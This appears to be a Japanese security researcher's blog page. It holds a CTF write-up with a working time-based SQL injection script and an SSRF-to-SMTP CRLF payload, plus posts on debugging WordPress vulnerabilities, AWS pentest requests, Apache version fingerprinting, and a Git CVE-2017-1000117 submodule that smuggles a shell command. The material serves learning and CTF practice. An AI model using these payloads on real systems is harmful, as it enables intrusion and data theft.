SECCON 2017 Online CTFに参加しました

12/9~12/10に開催したSECCON 2017 Online CTFに参加いたしました! vulsというチームで参加して、最終結果は46位でした。 私はWeb問をメインで担当していました。

今回はちょっと日曜日に所用があったため、残念ながらフル参戦できなかったのですが、久々にオフラインで集まって、昨年と同じようにレッドブル片手にピザを食べながらCTFをやることができてすごく楽しかったです!
折角なので、少ないのですが私が解いた問題のWrite UPについて今回ブログに書こうかと思います。

SqlSRF (400 points)

今回私が解いたのは「SqlSRF」という問題です。 問題名からして、見た瞬間に多分SQLインジェクションとSSRFをさせる問題なんだろうなと推測しましたが、結果的にいうとその通りの問題でした。

問題には、以下のような記載があって、URLが記載されています。

The root reply the flag to your mail address if you send a mail that subject is "give me flag" to root.

flagを獲得するにはどうやらrootにメールを送らなければならないようですね。
記載されたURLにアクセスすると、以下のようにcgiが配置してあるディレクトリインデックスが表示されます。

f:id:tigerszk:20171210235143j:plain

「index.cgi」や「menu.cgi」にアクセスすると、以下のようにログイン画面が表示されます。

f:id:tigerszk:20171211015016j:plain

「index.cgi_backup20171129」にアクセスすると、以下のように「index.cgi」のソースコードが表示されます。

#!/usr/bin/perl

use CGI;
my $q = new CGI;

use CGI::Session;
my $s = CGI::Session->new(undef, $q->cookie('CGISESSID')||undef, {Directory=>'/tmp'});
$s->expire('+1M'); require './.htcrypt.pl';

my $user = $q->param('user');
print $q->header(-charset=>'UTF-8', -cookie=>
  [
    $q->cookie(-name=>'CGISESSID', -value=>$s->id),
    ($q->param('save') eq '1' ? $q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M') : undef)
  ]),
  $q->start_html(-lang=>'ja', -encoding=>'UTF-8', -title=>'SECCON 2017', -bgcolor=>'black');
  $user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne '');

my $errmsg = '';
if($q->param('login') ne '') {
  use DBI;
  my $dbh = DBI->connect('dbi:SQLite:dbname=./.htDB');
  my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';");
  $errmsg = '<h2 style="color:red">Login Error!</h2>';
  eval {
    $sth->execute();
    if(my @row = $sth->fetchrow_array) {
      if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq &encrypt($q->param('pass'))) {
        $s->param('autheduser', $q->param('user'));
        print "<scr"."ipt>document.location='./menu.cgi';</script>";
        $errmsg = '';
      }
    }
  };
  if($@) {
    $errmsg = '<h2 style="color:red">Database Error!</h2>';
  }
  $dbh->disconnect();
}
$user = $q->escapeHTML($user);

print <<"EOM";
<!-- The Kusomon by KeigoYAMAZAKI, 2017 -->
<div style="background:#000 url(./bg-header.jpg) 50% 50% no-repeat;position:fixed;width:100%;height:300px;top:0;">
</div>
<div style="position:relative;top:300px;color:white;text-align:center;">
<h1>Login</h1>
<form action="?" method="post">$errmsg
<table border="0" align="center" style="background:white;color:black;padding:50px;border:1px solid darkgray;">
<tr><td>Username:</td><td><input type="text" name="user" value="$user"></td></tr>
<tr><td>Password:</td><td><input type="password" name="pass" value=""></td></tr>
<tr><td colspan="2"><input type="checkbox" name="save" value="1">Remember Me</td></tr>
<tr><td colspan="2" align="right"><input type="submit" name="login" value="Login"></td></tr>
</table>
</form>
</div>
</body>
</html>
EOM

1;

43行目の以下の作成者の表記を見て、「今年も来たか…」と思わず気合がはいりました。
また、「色々一回転してとうとう〇ソ問というのを前面に押し出すようになったのか…」とか、「問題が公開された直後にアクセスできなかった時はさぞかし冷や汗ものだったのだろうなあ…」とか、色々なことが頭をよぎりつつ問題に取り組みました。

<!-- The Kusomon by KeigoYAMAZAKI, 2017 -->

前半戦(SQLインジェクションのパート)

まず、着目するのは以下の部分でしょうか。

  my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';");

上記23行目のコードをみるとuserパラメータの値をSELECT文の中に思いっきり突っ込んでいるので、ここでSQLインジェクションできそうだなと推測できます。
またSELECT文を用いてusersテーブルからDB上のpasswordの値を取得していますね。

      if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq &encrypt($q->param('pass'))) {

続いて上記28行目のコードをみると、ユーザが入力したpassパラメータの値を何かの方法で暗号化した後に、取得したDBの値と比較しているようです。
二つの値が一致した場合にログインさせるような実装となっています。
DBに格納されているパスワードの値は暗号化されているようですね。
また、この実装だと、単純にor文などをインジョクションしてもログインのバイパスはできそうもないですね。

  $user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne '');

上記17行目のコードをみると「Remember Me」にチェックをいれてアクセスした際にセットされる、rememberというcookieの値を復号してユーザパラメータにセットしていることがわかります。
こちらの処理を利用すれば、暗号化された値を復号することができそうです。
というわけで、Blind SQLインジェクションを実行して、どうにか暗号化されたパスワードの値を引っこ抜ければ、ログインできるのではないかと推測がつきます。
では次にどうやって情報を引っこ抜くかですが、色々試した結果、SQLの構文として不成立な場合には「Database Error!」とのみ表示されるだけであり、SQL文の結果が真・偽でも一律「Login Error!」とのみ表示されるだけなので、エラー応答からのBlind SQLインジェクションは厳しそうなことが分かります。
というわけで、利用するのはTime-based SQLインジェクションなのかなと推測しました。
山崎さんの作問なので、別に自動的に分かるのですが、コード中にDBMSは「SQLite」を利用している記載があります。
SQLiteでのTime-based SQLインジェクションについてはよく知らなかったので、ちょっと調べてみると以下のサイトに情報がありました。

GitHub - unicornsasfuel/sqlite_sqli_cheat_sheet: A cheat sheet for attacking SQLite via SQLi

SQLiteでは、乱数を生成するrandomblob関数を利用して、Time-based SQLインジェクションをすることができるようです。
今回の問題でも例えば以下のような感じでパラメータを送信してやると、条件が真の場合にはレスポンスが遅くなるので、Time-based SQLインジェクションをできることを確認しました。

user=' or randomblob(200000000) and 'a'='a

とりあえず、ダメ元でSQLmapとかもかけてもみましたが、まあ案の定ダメだったので、あきらめておとなしくコードを書くことにいたしました。
引っこ抜くパスワードの文字長は以下のような値を送信した際に遅くなることから32文字であることが分かります。

user=' or length((select password from users limit 1 offset 0)) = 32 and randomblob(200000000) and 'a'='a

力技であんまり綺麗じゃないですが以下のようなコードを今回書いてみました。

# -*- coding: utf-8 -*-

import re
import requests
import sys
import time

def genQuery(i,j):
    
    query = "user=' or substr((select password from users limit 1 offset 0),"+str(i)+",1) = '"+str(j)+"' and randomblob(300000000) and 'a'='a&pass=test&login=Login"
    return query
    
def attack(url):
    encpass  = ""
    cmpchar = [chr(i) for i in range(97, 97+26)]
    cmpchar.extend([chr(i) for i in range(48, 48+10)])
    for i in range(1, 33):
        print (str(i)+":", end="")
        for j in cmpchar:
            payload = genQuery(i,j)
            start = time.time()
            res = requests.post(url, data=payload, verify=False)
            
            if (time.time() - start) > 2:
                print (j)
                encpass = encpass + j 
                break
            time.sleep(0.5)
    print(encpass)
        
def main():

    url = 'http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi'
    attack(url)
    
if __name__ == '__main__':
    main()

実行してやるとしばらく時間がかかりますが、暗号化されたパスワード文字列が以下であることが判明します。

d2f37e101c0e76bcc90b5634a5510f64

上記の値をrememberというcookieの値にセットしてアクセスしてあげると

f:id:tigerszk:20171211015154j:plain

以下のようなパスワードの値が判明しました。

Yes!Kusomon!!

この〇〇クリニックのような文字列を見た時に改めて、ちゃんと問題解けたら次の飲み会では「面白かったですよ」と言ってあげようと思いました。
useridをadminで、上記パスワードでログインしてあげるとログイン後のページに遷移します。

後半戦(SSRFのパート)

さて、ここまでがSQLインジェクションのパートで、後半はSSRFのパートです。
ログインをすると以下のような画面に遷移します。
f:id:tigerszk:20171211021023j:plain

画面には二つボタンが存在し、このボタンを押すことで「netstat」と「wget」のコマンドをサーバ側で実行することができるようになっていることが分かります。 f:id:tigerszk:20171211021417j:plain

netstatの実行結果

f:id:tigerszk:20171211021428j:plain

wgetの実行結果

以下の情報よりこの問題はSSRFを利用してサーバ側にメールを送信するんだろうなと推測しました。

  • flagを獲得するにはrootにメールを送る必要がある
  • サーバ側に25番ポートがListenしている
  • 問題名がモロそれ

wgetの送信パラメータに、以下のような値を指定してボタンを押すと

127.0.0.1:25

f:id:tigerszk:20171211022658j:plain

という風にメールサーバの応答結果が表示されることが確認できました。
で、次にどのようにこのメールサーバ対してコマンドを送信してやるかですが、そちらの手法に関しては、Black Hat USA 2017や今年のCODE BLUEでも発表があったOrange Tsaiさんの資料が超参考になります。

[https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

詳しくは上記の資料を読めば分かりますが、HTTPプロトコル中に改行コードをインジェクションさせることによって、SMTPプロトコルを操作する手法について記載があります。
上記資料ではwgetホスト部分にて改行コードの挿入が可能との記載がありましたので、試しに以下のような値を指定して送信してみると

127.0.0.1%0D%0Ahelo%20ymzk01.pwn%0D%0A:25

f:id:tigerszk:20171211024850j:plain

という風にSMTPプロトコルを操作できていることが確認できます。
というわけで、以下のようにroot宛にメールを送信するように文字列を細工してあげます。
問題文に書かれているようにちゃんとsubjectを"give me flag"としてやる必要があります。

127.0.0.1%0D%0Ahelo%20ymzk01.pwn%0D%0Amail%20from%3A%20tigerszk%40example.com%0D%0Arcpt%20to%3A%20root%40ymzk01.pwn%0D%0Adata%0D%0Asubject%3Agive%20me%20flag%0D%0A.%0D%0Aquit%0D%0A:25

f:id:tigerszk:20171211025555j:plain

メールサーバ側で正常処理されたような応答が返れば、fromに指定したメールアドレス宛に以下のような値が書かれたメールが届きます。

Encrypted-FLAG: 37208e07f86ba78a7416ecd535fd874a3b98b964005a5503bcaa41a1c9b42a19

上記の値を前半戦でDBから引っこ抜いた値と同じようにrememberというcookieの値にセットしてアクセスしてあげると f:id:tigerszk:20171211030554j:plain

という風に見事以下のflagをゲットすることができました。

SECCON{SSRFisMyFriend!}

まとめ

まあ、実際はこんなポンポンいけたわけではなく、ウンウンうなりながらやった感じです。
特に後半戦のSSRFの部分では、ちょっと色々ハマってしまい、チーム内で相談したらチームのSuper CTFerの方にあっさり追い抜かれてしまい、「結構頑張ってここまでやったので、ちょっと僕に時間をください」と頼み込む醜態をさらしてしまったので、もうちょっと色々頑張ろうと思いましたw
ということで、今年も非常に楽しんでCTFをすることができました!
運営の方々本当にありがとうございました。

PS
山崎さん、楽しかったです!良問でしたよw

デバッガを利用してWebアプリの脆弱性を分析してみた

11/15に開催されたこちらの勉強会に参加いたしました!

デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう - connpass

こちらの勉強会は、「WordPress本体とプラグイン脆弱性をデバッガで追跡することにより、脆弱性の中身について詳しく追跡し、理解を深める」という内容のものであり、なんとあの徳丸浩さんが講師をされています!
私個人としては、仕事というか半分趣味でゆるゆる脆弱性の検証をしており、今回の勉強会はまさに自分の興味分野にドンピシャな内容だったので、非常に楽しんで参加させていただきましたw
私はこちらの勉強会にブログ枠として参加いたしましたので、勉強会の内容について本ブログにてレポートいたします。

分析対象の脆弱性について

今回分析する題材となった脆弱性は以下の二つです。 なお、二つの脆弱性とも徳丸さんが詳細な解説記事をブログにて公開されております。

脆弱性分析のやり方

勉強会の冒頭にて徳丸さんより以下のような脆弱性分析のhow-toに関するお話しがありました。

脆弱性情報はどこにあるのか?

WordPressCMS脆弱性であれば米セキュリティ会社Sucuri社のブログがおススメ!
https://blog.sucuri.net/

正し、Sucuri社のブログは、書いてある内容はすごいけど、説明がちょっと不親切である(意図的にぼかしている?)。
そのため、読んだだけでの完全理解は難しいので、自分で検証する必要があるとのことです。

脆弱性分析の手法

脆弱性を分析する方法には以下の3種類がある(複数組み合わせてやっても勿論OK!) 。

  1. 脆弱性の解説記事を読む
  2. ソースコードの差分をとり中身を見る(静的解析)
  3. PoC(Proof of Concept)を試して動作を分析する(動的解析)

2番の手法については、差分に脆弱性だけではなくて他の修正内容も含まれていることもあり、複雑なアプリケーションの場合などでは差分のコードを読んでもよく分からない場合が多いとのこと。
3番の方法は比較的楽な方法である。

今回の勉強会では、上記3番の方法をデバッガを利用して分析してみるという感じです。
勉強会の冒頭にて、徳丸さんが脆弱性の内容を調べるモチベーションやブログとして公開する楽しさについてもお話しされていましたが、自分も非常に共感する部分がありました。
やっぱ脆弱性を検証するのって楽しいですよねw

脆弱性分析をするための環境について

WordPressプラグインPHPを利用して作成されているので、動作を分析するために、PHPアプリをリモートデバッグできる環境を用意します。
リモートデバッグ可能なIDEは複数ありますが、勉強会ではNetBeans 8.2+ Xdebugを使用していました。

なお、今回の勉強会の参加者には分析対象のVMデータを配布いただきました。
今回の僕の記事もいただいた環境を利用して書かせていただいております。
いただいた環境はUbuntuで構築されており、脆弱なWordPressと脆弱なプラグインデータなどがセットアップされていました。
また、Xdebugもインストールされており、こちらの環境を利用すれば、すぐにリモートデバッグして検証ができるようになっているので非常にありがたかったです。
余談ですが、実は勉強会に参加する前の予習として自分でもリモートデバッグできる環境をCENTOSで作成してみたのですが、ちょっと面倒くさかったです。
Ubuntu等で作成するとapt-get一発でインスコできるみたいなので、後ほど自分でももう一回環境を作ってみようと思います。
なお、Xdebugを利用する際には、php.ini(あるいはconf.d/xdebug.ini 等)に設定情報を記載する必要があり、NetBeansを起動してリモートデバッグを行うホスト側の情報に合わせる必要があります。

リモートデバッグをする準備

NetBeansの初期設定

まずはNetBeansを起動して、VMサーバ側にSSH経由にて、リモートデバッグをできるように設定する必要があります。

1.NetBeansを起動して、メニューから[ファイル][新規プロジェクト]を選択

f:id:tigerszk:20171116210733j:plain

2.プロジェクトを選択において「リモートサーバーからのPHPアプリケーション」を選択して「次>」を押す

f:id:tigerszk:20171116212212j:plain

3.「プロジェクト名」・「ソースフォルダのパス」・「PHPのバージョン」を適当に設定して「次>」を押す

f:id:tigerszk:20171116212336j:plain

4.リモート接続が定義されていないので、「管理」のボタンを押す

f:id:tigerszk:20171116211052j:plain

5.新規接続を作成します。接続名は適当に入力して、接続型は「SFTP」に設定して「OK」を押す

f:id:tigerszk:20171116211242j:plain

6.リモート接続の部分については接続したい先のホストに合わせた情報を入力して「OK」を押す
※画像ではいただいたVMデータの情報を設定しています。事前にNetBeansを動作させているホスト側のhostsファイルを編集していたりもしています。

f:id:tigerszk:20171116211424j:plain

7.プロジェクトURL・アップロードディレクトリを適切に設定して「次>」を押す
※プロジェクトURLはブラウザでアクセス可能なURLを入力、アップロードディレクトリは、検証するコンテンツが配置してある公開ディレクトリのパスとなるように指定する。

f:id:tigerszk:20171116212932j:plain

8.ディレクトリ・ファイルを選んで終了を押すとダウンロードが始まります。
※ここではWordPressのコンテンツを丸ごと選択しています。

f:id:tigerszk:20171116212958j:plain

9.ダウンロードが完了すれば、リモートデバッグできる状態となります。

f:id:tigerszk:20171116213213j:plain

リモートデバッグのやり方

NetBeansの上部の「プロジェクトをデバッグ」のボタンを押すと、デバッグ・セッションが実行され、以下のようなボタンが表示されます。

f:id:tigerszk:20171116221725p:plain

後はお好みの場所にブレークポイント(実行中のプログラムを意図的に一時停止させる箇所)を設定して、こちらのボタンを操作すれば、デバッグをすることができます。
NetBeansでは、エディタにて設定したい行の左マージンをクリックすれば、簡単にブレークポイントを設定できます。
なお、NetBeansでのデバッグについて、ちょっと調べてみたら以下などに細かく解説がありました。

PHP向けのNetBeans IDEのエディタでのPHPソース・コードのデバッグ

脆弱性の分析について

脆弱性の分析については以下の手順で行います。

  1. まず、ブログなどの一次情報などを元に、脆弱性に関係がありそうな関数などにブレークポイントを設定する
  2. デバッガを動かしている状態で、WebアプリケーションにPoCを打ちこんでみる
  3. ブレークポイントを設定した箇所やその周辺にて、関連するような変数の値が内部でどのように処理されているのかをひたすら追って挙動をみていく。

ものすごいザックリとした説明ですが、上記の手順で追跡をしていくわけです。
正常に機能を利用した場合の処理内容と、PoCを打ち込んだ場合の処理結果に、どのような差分があるのかなどを比較したりするのも有効なのかなと思いました。

WordPress REST API脆弱性の検証

こちらは分析初級編というお話しでした。

脆弱性については非常に話題になったので、ご記憶にある方も多いのではないでしょうか。
IPAやJPCERTなどからも注意喚起されていましたね。

WordPress の脆弱性対策について:IPA 独立行政法人 情報処理推進機構

再度リンクを張りますが、脆弱性に関する要因の詳細につきましては、まずこちらの徳丸さんの記事を良く読み込むのが一番良いと思います。

WordPress 4.7.1 の権限昇格脆弱性について検証した | 徳丸浩の日記

上記のブログにて脆弱性の要因について以下二点をご指摘されています。

  • 権限チェックの際に、存在しないid に対して、権限ありを返していた
  • 権限チェックの際はid キャストなし、データ更新の際はid を整数にキャストしていた

デバッガを利用してPoCを実行してやれば、上記のブログにて解説されている流れをそのまま体験できます。
update_item_permissions_checkメソッドとupdate_itemメソッドにブレークポイントを設定してステップ・オーバーなどで進めていけば、どのように値が処理されているのか良く分かります。

存在しないidなのに、返り値がtrueとなる f:id:tigerszk:20171117135927j:plain

整数にキャストされているためid=1xだったのがid=1として処理されている f:id:tigerszk:20171117140021j:plain

自分で試してみた感想としてですが、PoCのリクエストをid=1としてブン投げると正常処理の流れとなるので、そちらと比べるとより分かりやすいかもなと思いました。

WordPress NextGEN GalleryのSQLインジェクション脆弱性の検証

こちらは分析上級編という位置づけでした。

脆弱性WordPressのフォトギャラリープラグインSQLインジェクション脆弱性が存在するというものです。
WordPressフレームワークとして提供するwpdbクラスのprepareメソッドが、プレースホルダに用いている「%s」という値を外部由来文字列から内部のSQL文に受け渡してやるとそのままプレースホルダとして解釈されることを利用して、細工した値を送りこんでSQLインジェクションを発生させるという脆弱性だと認識しています。
こちらの脆弱性は上級編だけあってかなりトリッキーなものですね。

こちらについても、脆弱性に関する要因の詳細につきましても、まず徳丸さんの記事を良く読み込むのが一番良いと思います。

WordPressのプラグインNextGEN GalleryのSQLインジェクション脆弱性について検証した | 徳丸浩の日記

デバッガを利用すれば、ブログに書いてある「aaa%1$%s)) or 1=1#」という細工された値を受け渡した際に、内部にてどのように処理されるか確認することができます。

f:id:tigerszk:20171117163352j:plain

まとめ

自分は、今までWebアプリケーションの脆弱性を検証する際に、デバッガを利用したことがなかったので今回非常に勉強になりました。
脆弱性検証でもいくつかのフェーズがあり、脆弱性の再現確認は環境作るのがちょっと面倒くさいというのを除けば割と誰でもできるかなと思いますが、脆弱性が起こる原理解析などの部分がやっぱりなかなか難しいよなあと個人的に思います。
デバッガを用いた動的解析を利用すれば、原理解析の部分などが色々捗りそうだなという印象をもちました。
今回の環境を利用すれば、WordPressだけじゃなくて、Joomla!Drupalなどの検証もできそうなので次回の検証からは早速使ってみようかなと思っています。
後は、他の言語でのこういったリモートデバッグのやり方なども調べてみたいですね。

また、こちらの勉強会は同じ内容で追加開催されるとのことですので、ご興味がある方は参加されてみてはいかがでしょうか?
※好評につき追加開催※ デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう - connpass

AWSの侵入テスト申請フォームが変更された件

過去このブログでも取り上げてますが、AWSにおいて脆弱性診断を実施する際に、侵入テスト申請というものが必要となります。

ペネトレーションテスト(侵入テスト)- AWS セキュリティ|AWS

この侵入テスト申請について、実は2017年9月頃にアップデートがあり、申請フォームの内容が従来と変更されておりますので、こちらに変更点などをちょっとまとめておきます。 今後、侵入テストを申請される方の少しでもご参考になれば幸いです。

また、アカウントが無い方は申請フォームの中身を見ることができないので、キャプチャした現時点(2017年10月20日)の申請フォームの画像データもアップしておきます。

従来との変更点は?

従来との大きな変更点として、今まではEC2やRDSしか診断の対象とすることができなかったのですが、以下のマネージドサービスを正式に診断の対象とすることができるようになりました!

こちらにつきましては、診断を実施する側としても非常に大きな変更点だと思います。

CloudFront、APIゲートウェイ、Lambdaなどを利用して構築されているシステムなどには、個人的にも最近割と遭遇しており、今までは、公式にて診断対象とできないといわれていたので、どうやって診断などをしたものかなとちょっと悩んでいました。 また、原則としてはEC2やRDSしか診断できないはずだったのですが、知り合いの方などから「Lambdaを使っているんだけど申請したらなぜか通った」などのお話を聞いたことがあり、一体何がOKで、一体何がOUTなのか非常にグレーな感じだったので、ここら辺を明確化していただいたのは個人的には非常にありがたいです。

申請フォーム中のTarget Data、DNS Zone Walkingの項目がこの変更に対応してできた項目のようで、診断したいマネージドサービスごとに必要な内容を記載して申請できるようになっています。 ちなみに従来も診断可能だったELBも公式の診断対象として明記されており、ちゃんと専用の入力項目ができてますね。

その他、気になる変更点としてはTesting Detailsの所で、従来から入力が必要だったテスト時の帯域幅に追加して、秒間リクエスト数(RPS)の記入が必須となっております。 DNSを検査する場合には秒間問い合わせ数(QPS)なども申請しなくてはならないようです。

上記以外は、従来の申請とそこまで変わらない内容であると思います。

PS

ちなみにSource Dataの項目に 「Does the testing company have a NDS with AWS?」 と記載があり、初めはこの「NDS」について調べても良くわからなかったので謎だったのですが、知り合いの方よりどうやら「NDA」の記載ミスらしいというお話しを聞きましたw 一応私からもAWSに問い合わせておりますが、まだ正式なご回答いただいておりません。 ご回答があり次第こちらに追記しようかと思います。

(2017年10月21日追記)

AWSから以下のように丁寧なご回答をいただきました。

Thank you for contacting us. I sincerely apologize for the confusion, but this is an internal error on our side. We are aware of this error and will address it soon as possible. The request form should originally ask for an NDA (Non-Disclosure Agreement) rather than an NDS. This is, of course, not a requirement for the approval process.

誤記載ということが確定ですので、その内修正いただけるのだと思います。 このブログを公開してから、何人かの知り合いの方に「やっぱりみんなそれ問い合わせますよねーw」とかってご連絡をいただいたのがちょっと面白かったですw

申請フォームのキャプチャ

f:id:tigerszk:20171020124411p:plain

f:id:tigerszk:20171020124423p:plain

f:id:tigerszk:20171020124433p:plain

f:id:tigerszk:20171020124441p:plain

※2017年10月20日時点のものとなります。

僕が調べたApacheバージョン判定の小ネタ

皆さんこちらのブログをご覧になられましたでしょうか?

Apache HTTP Serverのバージョンを当てる方法 | MBSD Blog

Apache HTTP Serverのバージョンが秘匿されていたとしても、脆弱性の修正や、仕様変更による応答差分を確認することによって、バージョンを特定することができるよというMBSDさんの記事です。
この記事には私も知らなかったテクニックも載っていて非常に勉強になりました!

実際の脆弱性診断の現場でもこのようなテクニックは結構使われていまして、Apache HTTP Serverであればかなり古いですが他にも以下の二つの脆弱性なども脆弱性が修正されているかどうかによる応答差分で、バージョンの判定が可能だったかなーと記憶しています。

CVE-2006-3918
JVNDB-2006-000441 - JVN iPedia - 脆弱性対策情報データベース

CVE-2007-6203
JVNDB-2007-001017 - JVN iPedia - 脆弱性対策情報データベース

さて、MBSDさんのブログを読んでいて、そういえば私も以前たまたま見つけて、あんまり出回ってなかった(当時調べたんですがあんまり情報とかなかったと記憶しています)Apache HTTP Serverバージョン判定の小ネタがあったのを思い出したので、折角なので今回ブログに書こうかと思います。
最初に書いておきますが、かなり古いバージョンの判定ができるってだけなので、今となっては正直実用性0だと思います。
まあちょっとした小ネタとして読んでいただければ幸いですw

TRACEメソッドとは?

皆さんはTRACEメソッドというものをご存知でしょうか?
HTTP 1.1(RFC2616)にて定義されているHTTPメソッドの一つであり、デバッグなどの目的で利用されるもので、HTTPリクエストの内容をHTTPレスポンスとしてクライアントにそのまま返すというものです。
Cross-Site Tracingという本メソッドを利用する攻撃手法が存在するため、セキュリティスキャナなどでは、Webサーバー側で本メソッドが有効になっていると良く指摘項目として検出します。
しかしながら、現行のブラウザでは上記の攻撃手法は対策されており、現在ではこのメソッドが有効であっても大した実害はないといえます。
こちらについては徳丸さんが以下の記事にて詳しく解説されています。

実はそんなに怖くないTRACEメソッド | 徳丸浩の日記

ちなみに本メソッドはApacheの設定変更で簡単に無効化することができます。
さて、このTRACEメソッドですが、Apache HTTP Serverではサーバ側にて本メソッドを無効にしている場合の応答結果が、実はあるバージョンを境に変化しています。
これを利用することでApache HTTP Serverのバージョンを判定することが可能です。

試してみよう!

論より証拠ということで、応答内容の変化を確認してみましょう。

以下のコマンド(以前検証した際、togakushiさんにご指導いただいたシェル芸を記載しています)を実行してApache HTTP Serverの2.2系を全部ソースインストールして、バージョンごとに別々のポートで起動させてみます。

for i in {0..34}; do wget http://archive.apache.org/dist/httpd/httpd-2.2.${i}.tar.gz;tar xf httpd-2.2.${i}.tar.gz; pushd httpd-2.2.${i}; ./configure --prefix=/opt/httpd/2.2.${i};make;make install;sed -i "s/Listen 80/Listen $((2000+${i}))/" /opt/httpd/2.2.${i}/conf/httpd.conf; echo "TraceEnable Off" >> /opt/httpd/2.2.${i}/conf/httpd.conf; /opt/httpd/2.2.${i}/bin/apachectl start; popd; done

※実行するのであれば、事前にwgetgccなどはインスコしてください。
ちなみにconfファイルに「TraceEnable Off」を書き込んで全部TRACEメソッドは無効な状態としてApache HTTP Serverを起動しています。

nmap -sS -sV -n -p 2000-2034 ServerIP

とかやってnmapを実行してやるともりもりバージョンが表示されるので結構壮観です。

f:id:tigerszk:20170904194524p:plain

こちらを使えばMBSDさんのブログに記載したあった内容の検証もはかどりそうですw

さて次にpythonで簡単ですが以下のような各ポートにTRACEメソッドを打ち込んで、HTTPレスポンスのステータスコードを表示させるようなスクリプトを作ってみました。

import requests
for i in range(0, 35):
    url="http://ServerIP:"+str(2000+i)
    try:
        r = requests.request('TRACE', url)
        print("2.2."+str(i)+":"+str(r.status_code))
    except requests.exceptions.RequestException:
        print("no version")

このスクリプトを実行すると以下のような結果となります。

2.2.0:403
no version
2.2.2:403
2.2.3:403
2.2.4:403
no version
2.2.6:403
no version
2.2.8:405
2.2.9:405
2.2.10:405
2.2.11:405
2.2.12:405
2.2.13:405
2.2.14:405
2.2.15:405
2.2.16:405
2.2.17:405
2.2.18:405
2.2.19:405
2.2.20:405
2.2.21:405
2.2.22:405
2.2.23:405
2.2.24:405
2.2.25:405
2.2.26:405
2.2.27:405
no version
2.2.29:405
no version
2.2.31:405
2.2.32:405
no version
2.2.34:405

というわけで、2.2.6と2.2.8を境に応答結果が、403から405へと変化していることが確認できます。
さらに、2.2.6と2.2.8のソースを比較して調査してみた結果、「modules/http/http_filters.c」のコードに以下のような差分があることを確認しました。

f:id:tigerszk:20170904195515p:plain

ステータスコード 403(HTTP_FORBIDDEN)からステータスコード 405(HTTP_METHOD_NOT_ALLOWED)を返すように修正されていますね。

まとめ

というわけで、TRACEメソッドを無効化している際のサーバー側の応答結果にてApache httpdが2.2.6以下であるかということが判別できるわけです(ドヤァ)
まあ、だからどうしたって感じですよね…。
あと「僕の」とかって書きましたが、他にも脆弱性診断とかやってらっしゃる方だったら気づいていた方も多かったのではないでしょうか。
脆弱性診断を実施していると結構色々なバージョンのApacheに出会うため、以前この応答差分にたまたま気が付いて、気になってちょっと色々検証してみましたという感じでした。
正直今となっては相当古いバージョンが判別できるってだけの小ネタなので、飲み会のときのネタぐらいにしていました。
MBSDさんのブログが面白くて触発されたのと、MBSDさんのブログ中にも記載がありますが、Apache httpd 2.2.XのEOLが2017年12月と発表されているため今回このネタの供養の意味も込めて記事を書かせていただきました。

gitの脆弱性のアレを作ってみた

先日私が運営メンバーとして参加してるIT勉強会「ssmjp」の100回記念のイベントがありました!
人生で初めてLTをしたのがこの勉強会で、私は途中から参加という形でかれこれ3年ほど運営をやっていますが、たった3年だけど色々な出来事や出会いがあったなあーと振り返っていました。
今後ともご参加いただける皆様が楽しいと思っていただけるイベントを開催していきたいと思っていますのでよろしくお願いいたします。  

さて、そのイベントの小ネタとして、今回「gitの脆弱性のアレ」を作ってみたので、折角なのでちょっとこのブログでご紹介いたします。
(もうネタとしては正直かなり遅い感じはありますが…w)  

Gitの脆弱性(CVE-2017-1000117)とは

GitでのsshURLハンドリングにshellコマンドインジェクションの欠陥が存在し、細工されたレポジトリに対してGitクライアントでcloneアクションを実行した場合に、Gitクライアントを実行したユーザの権限でshellコマンドが実行されてしまうという脆弱性です。

なお、対策としてはGitのアップグレードで、Version 2.14.1以上では対策されています。

参考
CVE-2017-1000117 - Red Hat Customer Portal
Compromise On Checkout - Vulnerabilities in SCM Tools · The Recurity Lablog

例のアレ

さて、皆さんご存知かと思いますが、上記の脆弱性をチェックするためのユニークなリポジトリが公開されて話題になりましたねw

GitHub - greymd/CVE-2017-1000117: Check Git's vulnerability CVE-2017-1000117

こちらのリポジトリの中身を見てみるとsubmoduleに以下のように細工がしてあり、脆弱なgitクライアントにてrecursiveオプション付きでgit cloneすると、fileに記載された内容がshellコマンドとして実行されるようになっているのがわかります。
shellコマンドが実行されると例のアレがターミナルに表示されるわけですw

[submodule "morimori"]
    path = morimori
    url = ssh://-oProxyCommand=sh<file /morimori

このリポジトリは非常に面白くて、他にも色々な方がインスパイアした作品を公開されていました。 GitHub - sasairc/CVE-2017-1000117_wasawasa
GitHub - takehaya/CVE-2017-1000117
GitHub - shogo82148/Fix-CVE-2017-1000117

またノリと勢いで作ってみた

面白くて私もこれらのリポジトリで色々遊んでいたのですが、とある知り合いのエンジニアの方から「tigerszkさんもあのやる夫のAA(※)使って作ってみればいいじゃないですかw」と言われたので、あー面白そうだなあと思い、勉強がてら丁度いいから100回記念イベントの小ネタに作ってしまおうと、今回もノリとその場の勢いで作ってみました。
※昨年末のとあるLTにてノリとその場の勢いでやる夫のAAを制作しました。
ノリとその場の勢いでPocを作った話

そんな経緯にて、先日のssmjpで公開した100回のお祝いメッセージとして作ってみたのがこちらですw

GitHub - tigerszk/ssmjp-100th-message

f:id:tigerszk:20170829135528g:plain

togakushiさんにご助力いただき、ランダムで色が変わって徐々に表示するようなシェルコマンドを実行するようになっています。宜しければ遊んでみてくださいw

クラウドサービスを脆弱性診断する時のお作法

「とある診断員の備忘録」というタイトルのわりに、ブログを始めてから今まで脆弱性診断に関することを一切書いていなかったことに気づいたので、そろそろ脆弱性診断ネタを書こうかと思います。 今回はクラウドプラットフォームに対する脆弱性診断の小ネタです。

クラウドサービスを診断する時のお作法って?

私が脆弱性診断をやり始めた駆け出しの頃では、オンプレ環境の診断対象が多かったのですが、最近ではクラウドプラットフォームなどの利用が当たり前となったため、クラウド環境の診断対象と沢山エンカウントします。 クラウド環境に対して脆弱性診断を実施する場合には、実はいくつか抑えておくべきお作法があります。

